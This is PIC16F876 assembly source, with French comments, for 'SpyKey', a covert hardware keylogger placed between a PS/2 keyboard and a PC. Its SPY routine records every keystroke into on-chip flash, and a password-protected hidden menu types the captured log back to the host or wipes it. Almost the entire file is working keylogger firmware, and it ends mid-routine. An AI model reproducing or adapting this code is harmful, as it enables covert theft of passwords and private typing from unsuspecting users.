;************************************************************************ ;* SpyKey Par P.Raspino V0.9 * ;* Logiciel a charger dans un * ;* Pic16F84 ou Pic16F876. * ;* cependant qq mod a prevoir si 16f84 * ;************************************************************************ LIST P=16F876 #include __CONFIG _CP_HALF & _DEBUG_OFF & _WRT_ENABLE_ON & _CPD_OFF & _LVP_OFF & _BODEN_OFF & _PWRTE_OFF & _WDT_OFF & _HS_OSC OPTIONVAL EQU B'10000000' INTCONVAL EQU B'00000000' DIRPORTB EQU B'00001100' CLKKEY EQU H'01' DATAKEY EQU H'00' CLKKEYIN EQU H'02' DATAKEYIN EQU H'03' CBLOCK 0x20 texte : 1 texteh : 1 DATAH : 1 FlashADR : 1 FlashADRH : 1 COMPTEUR : 1 passcmpt : 1 Octet : 1 SpyKey : 1 TEST : 1 cmpt : 1 Verifcmpt : 1 MaskPass : 1 PASSKEY : 1 BackH : 1 BackL : 1 ADRESMEM : 1 CAPScmpt : 1 MASKADR : 1 CODEKEYSAFE : 1 cmpt2 : 1 cmpt3 : 1 Visucmpt : 1 POINTEURH : 1 POINTEURL : 1 Flags : 1 count : 1 CODEKEY : 1 PARITE : 1 ENDC ;******************************************** ;* DEMARRAGE SUR RESET * ;******************************************** org 0x000 movlw 0x10 movwf PCLATH goto init org 0x1000 init movlw d'39' movwf MASKADR bcf STATUS,RP0 bcf STATUS,RP1 ; BANK 0 movlw INTCONVAL movwf INTCON bsf Flags,0 bcf Flags,2 ; bit du F0 pour active spy bcf Flags,3 bcf Flags,4 bcf Flags,5 ; Flags de pas Fo dans reception Pc movlw 0x10 movwf FlashADR movwf texte movwf BackL movlw 0x00 movwf FlashADRH movwf CAPScmpt movwf texteh movwf BackH movlw 0x00 movwf PARITE movwf TEST movwf DATAH bsf STATUS,RP0 ; BANK 1 movlw 0x80 movwf PORTB movlw DIRPORTB movwf TRISB movlw OPTIONVAL movwf OPTION_REG goto Main ;******************************* ;* FONCTION CHANGER PASSWORD ! * ;******************************* Wrong_Pass movf Visucmpt,w xorlw 0x14 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x11 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0xe0 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0xe1 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x12 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x58 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x0d btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x0e btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x14 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x14 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x14 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x76 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x05 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x06 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x04 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x0c btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x03 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x0b btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x83 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x0a btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x01 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x09 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x78 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x07 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x66 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x5a btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x77 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x7e btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x59 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x3a btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x41 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x49 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x4a btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x52 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x54 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x5b btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x16 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x1e btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x26 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x25 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x2e btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x36 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x3d btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x3e btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x46 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x45 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x4e btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x55 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x5d btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x66 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x4a btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x7c btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x79 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x71 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x70 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x7d btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x7a btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x7c btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x69 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x74 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x72 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x75 btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x6b btfsc STATUS,Z goto Affich_wrong_pass movf Visucmpt,w xorlw 0x71 btfsc STATUS,Z goto Affich_wrong_pass goto Sais_Pass Affich_wrong_pass movlw 0x1d movwf texteh movlw 0xc0 movwf texte call Lire goto ChangePass ChangePass bsf PORTB,7 movlw 0x5A call KEY call KEY movlw 0x06 movwf Verifcmpt movlw 0x1a movwf texteh ; 300 = nouveau mot de passe : movlw 0xb5 movwf texte call Lire movlw d'40' movwf ADRESMEM Cpass call Keystroke bcf PORTB,7 movwf Visucmpt goto Wrong_Pass Sais_Pass movf Visucmpt,w call EcrireMem ;Ecrire dans Memoire EEprom incf ADRESMEM,f bsf PORTB,7 decfsz Verifcmpt,f goto Cpass movlw 0x5A call KEY ;RETURN call KEY ;RETURN movlw 0x1d movwf texteh ; 780 = ok 5f0 movlw 0x90 movwf texte call Lire movlw 0x5a call KEY movlw 0x1b movwf texteh ; 520 = votre nouveau mot de passe est : movlw 0x20 movwf texte call Lire movlw 0x06 movwf Verifcmpt movlw d'40' movwf ADRESMEM voir movf ADRESMEM,w call LireEprom call KEY incf ADRESMEM,f decfsz Verifcmpt,f goto voir movlw 0x5A call KEY call KEY movlw 0x1a movwf texteh ; 290 = appuyer sur une touche movlw 0x6b movwf texte call Lire bcf PORTB,7 call Keystroke bsf PORTB,7 movlw 0x5A call KEY call KEY return ;************************ ;* FONCTION CHOIX MENU * ;************************ Choix bsf PORTB,7 ;desactive l'affichage du clavier call Keystroke ;movlw 0x69 movwf SpyKey xorlw 0x69 ; SI 1 btfsc STATUS,Z call LireSpy movf SpyKey,w xorlw 0x72 ; Si 2 btfsc STATUS,Z call VideMemoire movf SpyKey,w xorlw 0x7A ; Si 3 btfsc STATUS,Z call ChangePass movf SpyKey,w xorlw 0x6B btfsc STATUS,Z ; Si 4 return bsf PORTB,7 movlw 0x5a call KEY call AffichMenu goto Choix ;********************************************** ;* FONCTION LIRE EN EEPROM ADRESSE DANS W * ;* RESULTAT EEDATA dans W en retour ! * ;********************************************** LireEprom bcf STATUS,RP0 bsf STATUS,RP1 movwf EEADR bsf STATUS,RP0 bcf EECON1,EEPGD bsf EECON1,RD bcf STATUS,RP0 movf EEDATA,w bcf STATUS,RP1 return ;******************************************************************************** ;* LIRE LE SPYKEY TRAITER Pause + Imprim * ;******************************************************************************** EnvoieF0 movlw 0xF0 call EnvoieKey return EnvoieE0 movlw 0xE0 call EnvoieKey return TESTTA btfsc Flags,3 goto TAE0 TA movf Visucmpt,w xorlw 0x14 btfsc STATUS,Z goto EnvoieTA ; CTRL movf Visucmpt,w xorlw 0x76 btfsc STATUS,Z goto EnvoieTA ; ESC movf Visucmpt,w xorlw 0x11 btfsc STATUS,Z goto EnvoieTA ; ALT movf Visucmpt,w xorlw 0x5a btfsc STATUS,Z goto EnvoieTA ; RETURN movf Visucmpt,w xorlw 0x0d btfsc STATUS,Z goto EnvoieTA ; TAB movf Visucmpt,w xorlw 0x77 btfsc STATUS,Z goto EnvoieTA ; NUM movf Visucmpt,w xorlw 0x05 btfsc STATUS,Z goto EnvoieTA ; F1 movf Visucmpt,w xorlw 0x06 btfsc STATUS,Z goto EnvoieTA ; F2 movf Visucmpt,w xorlw 0x04 btfsc STATUS,Z goto EnvoieTA ; F3 movf Visucmpt,w xorlw 0x0c btfsc STATUS,Z goto EnvoieTA ; F4 movf Visucmpt,w xorlw 0x03 btfsc STATUS,Z goto EnvoieTA ; F5 movf Visucmpt,w xorlw 0x0b btfsc STATUS,Z goto EnvoieTA ; F6 movf Visucmpt,w xorlw 0x83 btfsc STATUS,Z goto EnvoieTA ; F7 movf Visucmpt,w xorlw 0x0a btfsc STATUS,Z goto EnvoieTA ; F8 movf Visucmpt,w xorlw 0x01 btfsc STATUS,Z goto EnvoieTA ; F9 movf Visucmpt,w xorlw 0x09 btfsc STATUS,Z goto EnvoieTA ; F10 movf Visucmpt,w xorlw 0x78 btfsc STATUS,Z goto EnvoieTA ; F11 movf Visucmpt,w xorlw 0x07 btfsc STATUS,Z goto EnvoieTA ; F12 movf Visucmpt,w xorlw 0x7e btfsc STATUS,Z goto EnvoieTA ; DEFIL movf Visucmpt,w xorlw 0x80 btfsc STATUS,Z goto EnvoieTA ; DETECT un arret/Demarrage goto rien TAE0 movf Visucmpt,w xorlw 0x1F btfsc STATUS,Z goto EnvoieTA ; WINDOWS L movf Visucmpt,w xorlw 0x27 btfsc STATUS,Z goto EnvoieTA ; WINDOWS R movf Visucmpt,w xorlw 0x7D btfsc STATUS,Z goto EnvoieTA ; PAGEUP movf Visucmpt,w xorlw 0x7A btfsc STATUS,Z goto EnvoieTA ; PAGEDW movf Visucmpt,w xorlw 0x70 btfsc STATUS,Z goto EnvoieTA ; INSER movf Visucmpt,w xorlw 0x71 btfsc STATUS,Z goto EnvoieTA ; SUPPR movf Visucmpt,w xorlw 0x12 btfsc STATUS,Z goto EnvoieTA ; IMPRIM movf Visucmpt,w xorlw 0x20 btfsc STATUS,Z goto EnvoieTA ; PAUSE movf Visucmpt,w xorlw 0x5A btfsc STATUS,Z goto EnvoieTA ; RETURN movf Visucmpt,w xorlw 0x14 btfsc STATUS,Z goto EnvoieTA ; CTRL movf Visucmpt,w xorlw 0x69 btfsc STATUS,Z goto EnvoieTA ; FIN movf Visucmpt,w xorlw 0x6C btfsc STATUS,Z goto EnvoieTA ; HOME movf Visucmpt,w xorlw 0x6B btfsc STATUS,Z goto EnvoieTA ; GF movf Visucmpt,w xorlw 0x74 btfsc STATUS,Z goto EnvoieTA ; DF movf Visucmpt,w xorlw 0x75 btfsc STATUS,Z goto EnvoieTA ; HF movf Visucmpt,w xorlw 0x72 btfsc STATUS,Z goto EnvoieTA ; BF movf Visucmpt,w xorlw 0x37 btfsc STATUS,Z goto EnvoieTA ; POWER movf Visucmpt,w xorlw 0x3F btfsc STATUS,Z goto EnvoieTA ; SLEEP movf Visucmpt,w xorlw 0x5E btfsc STATUS,Z goto EnvoieTA ; WAKE goto rien findecom movf Visucmpt,w xorlw 0x5a btfsc STATUS,Z goto FDC ; pour avoir un entree avec entree movlw 0x18 movwf texteh movlw 0x08 movwf texte call Lire goto FDC EnvoieTA btfsc Flags,2 ; si FO avant alors lire fondecom c a d )+espace puis inc puis on recommence goto findecom movlw 0x12 movwf PCLATH movlw 0x18 movwf texteh movlw 0x19 btfsc Flags,3 ; si Eo alors texteh = 09 puisque les textes sont tous en 900 movwf texteh movf Visucmpt,w call TABLE movwf texte call Lire goto FDC TABLE addwf PCL,f nop retlw 0x6c ;01 nop retlw 0x4c ;03 retlw 0x3d ;04 retlw 0x2d ;05 retlw 0x35 ;06 retlw 0x84 ;07 nop retlw 0x74 ;09 retlw 0x64 ;0A retlw 0x54 ;0B retlw 0x44 ;0C retlw 0xB2 ;0D nop nop retlw 0x50 ;10 retlw 0x25 ;11 ; pointe en 825 retlw 0x40 ;12 nop retlw 0x00 ;14 pointe en 800 et 900 nop ;15 nop ;16 nop ;17 nop ;18 nop ;19 nop ;1a nop ;1b nop ;1c nop ;1d nop ;1e retlw 0x9b ;1f WINDOWS L retlw 0x54 ;20 CODE POUR lA TOUCHE PAUSE EN EMULATION !!!!! nop ;21 nop ;22 nop ;23 nop ;24 nop ;25 nop ;26 retlw 0x9b ;27 WINDOWS R nop ;28 nop ;29 nop ;2a nop ;2b nop ;2c nop ;2d nop ;2e nop ;2f nop ;30 nop ;31 nop ;32 nop ;33 nop ;34 nop ;35 nop ;36 retlw 0xD0 ;37 nop ;38 nop ;39 nop ;3a nop ;3b nop ;3c nop ;3d nop ;3e retlw 0xE3 ;3f nop ;40 nop ;41 nop ;42 nop ;43 nop ;44 nop ;45 nop ;46 nop ;47 nop ;48 nop ;49 nop ;4a nop ;4b nop ;4c nop ;4d nop ;4e nop ;4f nop ;50 nop ;51 nop ;52 nop ;53 nop ;54 nop ;55 nop ;56 nop ;57 retlw 0xC0 ;58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; retlw 0x1A ;59 retlw 0x90 ;5a ; ok pointe en 890 et 990 nop ;5b nop ;5c nop ;5d retlw 0xF0 ;5e nop ;5f nop ;60 nop ;61 nop ;62 nop ;63 nop ;64 nop ;65 nop ;66 nop ;67 nop ;68 retlw 0x70 ;69 nop ;6a retlw 0xd8 ;6b FLECHE GAUCHE retlw 0x60 ;6c nop ;6d nop ;6e nop ;6f retlw 0x22 ;70 INSER retlw 0x30 ;71 retlw 0xc0 ;72 FLECHE BAS nop ;73 retlw 0xa7 ;74 FLECHE D retlw 0xb2 ;75 FLACHE HAUT retlw 0x10 ;76 retlw 0xd0 ;77 retlw 0x7c ;78 nop ;79 retlw 0x10 ;7a PAGE DOWN nop ;7b nop ;7c retlw 0x19 ;7d PAGE UP retlw 0xa0 ;7e nop ;7f retlw 0xe0 ;80 DETECTION ARRET/DEMARRAGE nop ;81 nop ;82 retlw 0x5c ;83 F7 LireSpy movlw 0x5A call KEY bcf PORTB,7 bcf STATUS,RP0 bcf STATUS,RP1 movlw 0x00 ; adresse 0000 debut zone enregistrement à lire movwf texteh movlw 0x10 movwf texte Spyboucle call Flash movwf Visucmpt xorlw 0xFF btfsc STATUS,Z goto fin btfsc TEST,4 bsf Flags,3 btfsc TEST,0 bsf Flags,2 suite movf texte,w movwf POINTEURL movf texteh,w movwf POINTEURH goto TESTTA rien movf POINTEURH,w movwf texteh movf POINTEURL,w movwf texte btfsc Flags,3 call EnvoieE0 btfsc Flags,2 call EnvoieF0 movf Visucmpt,w call EnvoieKey call CODETEMPO btfsc Flags,2 goto FDC movf Visucmpt,w ; si caplock ou verr num xorlw 0x58 btfss STATUS,Z goto FDC call TEMPOTA movlw 0xFA call EnvoieKey incf CAPScmpt,f ; lire bit 0 = impair de capslock FDC bcf Flags,2 bcf Flags,3 movf POINTEURH,w movwf texteh movf POINTEURL,w movwf texte incf texte,f btfsc STATUS,Z incf texteh,f movlw 0x10 xorwf texteh,w btfsc STATUS,Z goto fin goto Spyboucle fin btfss CAPScmpt,0 goto PasDeCaps movlw 0x58 call KEY PasDeCaps movlw 0x5A call KEY ;RETURN call KEY movlw 0x1a movwf texteh movlw 0x6b movwf texte call Lire bcf PORTB,7 call Keystroke bsf PORTB,7 movlw 0x5A call KEY call KEY movlw 0x00 movwf CAPScmpt return ;********************************************************** ;* LIRE UNE PARTIE TEXTE SUR LES ORG ET PAS LES ORCS * ;********************************************************** Lire call Flash xorlw 0xff btfsc STATUS,Z return bsf STATUS,RP1 movf EEDATA,w bcf STATUS,RP1 call KEY call CODETEMPO incf texte,f btfsc STATUS,Z incf texteh,f goto Lire return ;****************************************** ;* FONCTION VERIF PASSWORD, 6 CARACTERES * ;* Retour charriot Automatique . * ;****************************************** VerifPassword bsf PORTB,7 movlw 0x06 ; 6 caractere movwf Verifcmpt movlw 0x27 ; +1 au depart !!!! movwf MaskPass VERIFEEPROM incf MaskPass,f movf MaskPass,w bcf STATUS,RP0 bcf PORTB,7 call LireEprom movwf PASSKEY ; variable bsf PORTB,7 call Keystroke xorwf PASSKEY,f btfss STATUS,Z goto start ; Si touche diff de passkey alors reboot securite decfsz Verifcmpt,f ; si cmpt =0 fini aussi non on boot car pass = 6 caracteres goto VERIFEEPROM movlw 0x5A call KEY ;RETURN X3 call KEY return ;******************************************************** ; FONCTION KEYSTROKE touche relache -> w * ;******************************************************** Keystroke call ReceptionKey ;Prends dans W la touche enfoncée xorlw 0xf0 btfss STATUS,Z ; si key = f0 on continue aussi non on recommence une aquisition goto Keystroke call ReceptionKey ; ici on prends donc le ca return ;*********************************************************** ;* LIRE UN OCTET EN FLASH wl & wh -> w * ;*********************************************************** Flash movf texteh,w bcf STATUS,RP0 bsf STATUS,RP1 movwf EEADRH bcf STATUS,RP0 bcf STATUS,RP1 movf texte,w bcf STATUS,RP0 bsf STATUS,RP1 movwf EEADR bsf STATUS,RP0 bsf EECON1,EEPGD bsf EECON1,RD nop nop bcf STATUS,RP0 movf EEDATH,w bcf STATUS,RP1 movwf TEST bsf STATUS,RP1 movf EEDATA,w bcf STATUS,RP1 return ;**************************************************** ;* FONCTION ECRIRE EN MEMOIRE EEPROM ADRESMEM POUR * ;* l'adresse et W pour la donnée !!! * ;**************************************************** EcrireMem ;4ms par ecriture bsf STATUS,RP1 ; passage bank 2 movwf EEDATA bcf STATUS,RP1 ; passage bank0 movf ADRESMEM,w ; 40 (pour mot de passe) bsf STATUS,RP1 ; passage bank2 movwf EEADR bsf STATUS,RP0 bcf EECON1,EEPGD bsf EECON1,WREN movlw 0x55 movwf EECON2 movlw 0xaa movwf EECON2 bsf EECON1,WR loop btfsc EECON1,WR goto loop bcf EECON1,WREN bcf STATUS,RP0 bcf STATUS,RP1 return ;************************************************ ;* Voici les deux fonctions de Delay, une pour * ;* la tempo de l'horloge, l'autre pour créer * ;* Un intervalle de temps entre deux caracteres * ;************************************************ ; TEMPOTA movlw d'160' ; a peu pres 160 ms pour caplock et verr num movwf passcmpt etik call CODETEMPO decfsz passcmpt,f goto etik return CLKTEMPO ;14.8 uS avec l'appel nop nop nop nop nop movlw 0x0D movwf count Tan nop nop nop decfsz count,f goto Tan return CODETEMPO ;0.6 ms movlw d'20' movwf cmpt2 tim call CLKTEMPO nop decfsz cmpt2,f goto tim return ;****************************************************** ;* Cette fonction attends la liberation de la ligne * ;* Pour envoyer l'octet contenu dans CODEKEY !(w) * ;**************************************************************************************************************************** EnvoieKey movwf CODEKEY bcf PORTB,7 ; Arret du clavier movlw 0x00 movwf PARITE KeybStatus ; attente de ligne a 1 sur les entrees PS2 avec recuperation sur W movlw d'210' movwf cmpt movlw b'00001000' movwf Octet movf PORTB,w TESTk btfsc PORTB,CLKKEYIN btfss PORTB,DATAKEYIN goto KeybStatus decfsz cmpt,f goto TESTk EnvoyerStartBit ; Creation du satart bit key via le pc sur sorties bsf PORTB,DATAKEY nop nop nop nop nop nop nop nop nop nop bsf PORTB,CLKKEY call CLKTEMPO call CLKTEMPO nop nop EnvoyerOctet ; envoie de l'octet CODEKEY vers le pc bcf PORTB,CLKKEY call CLKTEMPO btfss CODEKEY,0 goto SortieZero bcf PORTB,DATAKEY incf PARITE,f goto ZeroCLK SortieZero nop bsf PORTB,DATAKEY ZeroCLK ; 0 de l'horloge call CLKTEMPO rrf CODEKEY,f bsf PORTB,CLKKEY call CLKTEMPO nop nop call CLKTEMPO decfsz Octet,f goto EnvoyerOctet bcf PORTB,CLKKEY call CLKTEMPO movlw 0xFF xorwf PARITE,f btfss PARITE,0 goto EnvoyerPariteZero bcf PORTB,DATAKEY goto EnvoyerPariteUn EnvoyerPariteZero bsf PORTB,DATAKEY EnvoyerPariteUn ; Envoie parite call CLKTEMPO bsf PORTB,CLKKEY call CLKTEMPO call CLKTEMPO nop nop bcf PORTB,CLKKEY StopBit ; envoie stop bit call CLKTEMPO nop bcf PORTB,DATAKEY call CLKTEMPO nop bsf PORTB,CLKKEY call CLKTEMPO call CLKTEMPO nop nop bcf PORTB,CLKKEY bsf PORTB,7 ; Reactive le clavier ;btfsc Flags,5 ;goto End_Envoie ;call ReceptionPc ;xorlw 0xFE ;btfss STATUS,Z ;goto End_Envoie ;movf PCTOUCH,w ;goto EnvoieKey End_Envoie call CODETEMPO ;bcf Flags,5 return ;**************************************************************************************************************************** ;**************************************************************************************************************************** ReceptionKey ; Reception du clavier, un octet bsf PORTB,7 movlw 0x00 movwf CODEKEY movlw 0x08 movwf cmpt NewInit movlw 0x06 movwf cmpt2 DetectStartBit btfss PORTB,CLKKEYIN ; Test de cLK à 1 pendant au moins 2 CLK (etre sur pas de donnes en transfert) goto NewInit ; car il faut vraiment cela aussi non au bout de 6 top pc on prends le reste call CLKTEMPO ; Tempo de 12 uS decfsz cmpt2,f goto DetectStartBit Here btfsc PORTB,DATAKEYIN ; attente du front descendant sur DATAKEYIN goto Here btfss PORTB,CLKKEYIN ; Si CLKKEYIN à 0 c'est que c le PC qui parle donc on recommence tout goto DetectStartBit FinSb btfsc PORTB,CLKKEYIN ; Attente front descendant sur CLKEYIN goto FinSb ; goto Fin Start Bit ; Ici on passe le test donc normalement clk=0 et data=0 attente front descendant clk DATAIN btfss PORTB,CLKKEYIN ; on boucle tant que CLK est à 0 goto DATAIN FD btfsc PORTB,CLKKEYIN ; on boucle tant que l'on est à 1 goto FD bcf STATUS,C ; carry à 0 pour test ci dessous btfss PORTB,DATAKEYIN ; skip si data =1 goto Rotation bsf STATUS,C Rotation rrf CODEKEY,f ; rotation du Carry vers poids fort CODEKEY decfsz cmpt,f goto DATAIN LireParite ; Arrive ici CODEKEY = SCAN_CODE du clavier ! btfss PORTB,CLKKEYIN goto LireParite FD2 btfsc PORTB,CLKKEYIN goto FD2 bcf PARITE,0 btfss PORTB,DATAKEYIN goto StopBit2 bsf PARITE,0 ; PARITE au cas ou ???? StopBit2 btfss PORTB,CLKKEYIN goto StopBit2 FD3 btfsc PORTB,CLKKEYIN goto FD3 ; detection front descendant de l'horloge btfss PORTB,DATAKEYIN nop ; ATTENTION A CHANGER PLUS TARD !!!! PAR SIGNAL ALERTE SIGNAL FD4 btfss PORTB,CLKKEYIN ; attente front montant de l'horloge pour sortir goto FD4 movf CODEKEY,w bcf PORTB,7 return ;************************************************************************** ; ROUTINE DE RECEPTION OCTET EN PROVENANCE DU PC * ;************************************************************************** ReceptionPc ; Reception du PC, un octet bsf PORTB,7 movlw 0x05 movwf cmpt2 PCin btfss PORTB,CLKKEYIN retlw 0xFE call CLKTEMPO call CLKTEMPO decfsz cmpt2,f goto PCin retlw 0x00 ;*************************************************** ;* FONCTION ENVOIE D'UN CARACTERE + F0 + CARACTERE * ;*************************************************** KEY movwf CODEKEYSAFE xorlw 0x58 btfsc STATUS,Z goto FA movf CODEKEYSAFE,w call EnvoieKey goto boubou FA movf CODEKEYSAFE,w call EnvoieKey call TEMPOTA movlw 0xFA call EnvoieKey call CODETEMPO boubou movlw 0xF0 call EnvoieKey movf CODEKEYSAFE,w call EnvoieKey MOVLW d'3' movwf passcmpt boubou2 call CODETEMPO decfsz passcmpt,f goto boubou2 movf CODEKEYSAFE,w return ;************************************************************ ;* FONCTION AFFICHE ENTETE POUR EFFET GRAPHIQUE ET MENU * ;************************************************************ AffichEntete movlw 0x5A call KEY movlw 0x5A call KEY movlw 0x1b movwf texteh movlw 0x70 movwf texte call Lire movlw 0x1b movwf texteh movlw 0xd0 movwf texte call Lire movlw 0x1b movwf texteh movlw 0x70 movwf texte call Lire AffichMenu movlw 0x5A call KEY movlw 0x1b movwf texteh movlw 0x70 movwf texte call Lire movlw 0x1c movwf texteh movlw 0x30 movwf texte call Lire movlw 0x1b movwf texteh movlw 0x70 movwf texte call Lire movlw 0x1d movwf texteh movlw 0x20 movwf texte call Lire return ;************************************************************************************ ; ET FINALEMENT LA PLUS IMPORTANTE DE TOUTES LES FONCTIONS LA FONCTION ACTIVESPY * ;************************************************************************************ SPY NewKey call ReceptionKey ;bsf Flags,3 ;movlw 0x12 movwf Visucmpt ;bsf Flags,3 ;********* ;bsf Flags,2 xorlw 0xaa btfsc STATUS,Z goto NewKey movf Visucmpt,w andlw b'11110010' xorlw 0xF2 btfsc STATUS,Z goto NewKey movf Visucmpt,w andlw b'11110000' ;masque pour detecter le E de E0 ou E1 xorlw 0xe0 btfss STATUS,Z goto DetectF0 movf Visucmpt,w xorlw 0xE0 btfsc STATUS,Z bsf Flags,3 ;Ecriture comme quoi E0 movf Visucmpt,w xorlw 0xE1 btfsc STATUS,Z bsf Flags,4 goto NewKey DetectF0 movf Visucmpt,w xorlw 0xF0 btfss STATUS,Z goto Imprim bsf Flags,2 goto NewKey Imprim btfss Flags,3 goto Pause movf Visucmpt,w xorlw 0x12 btfss STATUS,Z goto Pause call ReceptionKey call ReceptionKey movlw 0x12 movwf Visucmpt Pause btfss Flags,4 goto Continue call ReceptionKey call ReceptionKey call ReceptionKey call ReceptionKey call ReceptionKey call ReceptionKey bcf Flags,4 bsf Flags,3 ; pour mise en Eo -> correspondance avec la table des Fonctions non applicables movlw 0x20 movwf Visucmpt Continue movf Visucmpt,w xorlw 0x0A ; F8 btfsc STATUS,Z goto tab PASTAB btfsc Flags,0 ; Si Flags,0 à 1 alors on reboucle sans enregistrer car memoire pleine ! goto NewKey call EcrireEPROM incf FlashADR,f btfsc STATUS,Z incf FlashADRH,f movlw 0x10 xorwf FlashADRH,w btfsc STATUS,Z goto INTERDIT movlw 0x00 movwf DATAH bcf Flags,2 bcf Flags,3 goto NewKey INTERDIT bcf PORTB,7 movlw 0x2E movwf ADRESMEM movlw 0xFF call EcrireMem bsf Flags,0 bsf PORTB,7 goto NewKey tab call ReceptionKey call Keystroke xorlw 0x0d btfsc STATUS,Z return movlw 0x0A movwf Visucmpt goto PASTAB ;*************************************************** ;* ecriture dans memoire SERIE * ;* la donnée dans spykey l'adresse dans EPROMADR * ;*************************************************** EcrireEPROM btfsc Flags,3 ; si Eo alors datah flags eo =1 bsf DATAH,4 btfsc Flags,2 ; si fo alors flags datah = 1 bsf DATAH,0 GOWRITE movf Visucmpt,w call EcrireFlash return ;******************************************************* ;* FONCTION VIDANGE MEMOIRE CODEKEY DANS EEPROM * ;* Reactivation de l'ecriture dans l'eeprom * ;* 0 -> 39 donc 39 caracteres * ;******************************************************* VideMemoire affichmem movlw 0x5A call KEY call KEY movlw 0x1d movwf texteh movlw 0x60 movwf texte call Lire movlw 0x00 movwf FlashADRH movwf texteh movlw 0x10 movwf FlashADR movwf texte RERE bcf Flags,2 movlw 0xff movwf SpyKey call Flash xorlw 0xff btfsc STATUS,Z goto DD movlw 0x00 movwf DATAH movlw 0xFF call EcrireFlash incf texte,f incf FlashADR,f btfss STATUS,Z goto $+3 incf texteh,f incf FlashADRH,f movlw 0x10 xorwf FlashADRH,w btfss STATUS,Z goto RERE bcf Flags,0 ; permet l'ecriture dans activespy movlw 0x2E movwf ADRESMEM movlw 0x00 call EcrireMem movlw 0x00 movwf ADRESMEM movlw 0x00 movwf FlashADRH movlw 0x10 movwf FlashADR movlw 0x0C movwf cmpt3 boub4 MOVLW d'3' movwf Verifcmpt boub3 call CODETEMPO decfsz Verifcmpt,f goto boub3 decfsz cmpt3,f goto boub4 DD movlw 0x5a call KEY call KEY movlw 0x1d movwf texteh movlw 0x90 movwf texte call Lire movlw 0x5a call KEY call KEY movlw 0x00 movwf FlashADRH movlw 0x10 movwf FlashADR return ;************************************************************************************************** ; ;************************************************************************************************** EcrireFlash bsf STATUS,RP1 ;BANK2 movwf EEDATA ; sauver dans data LSB bcf 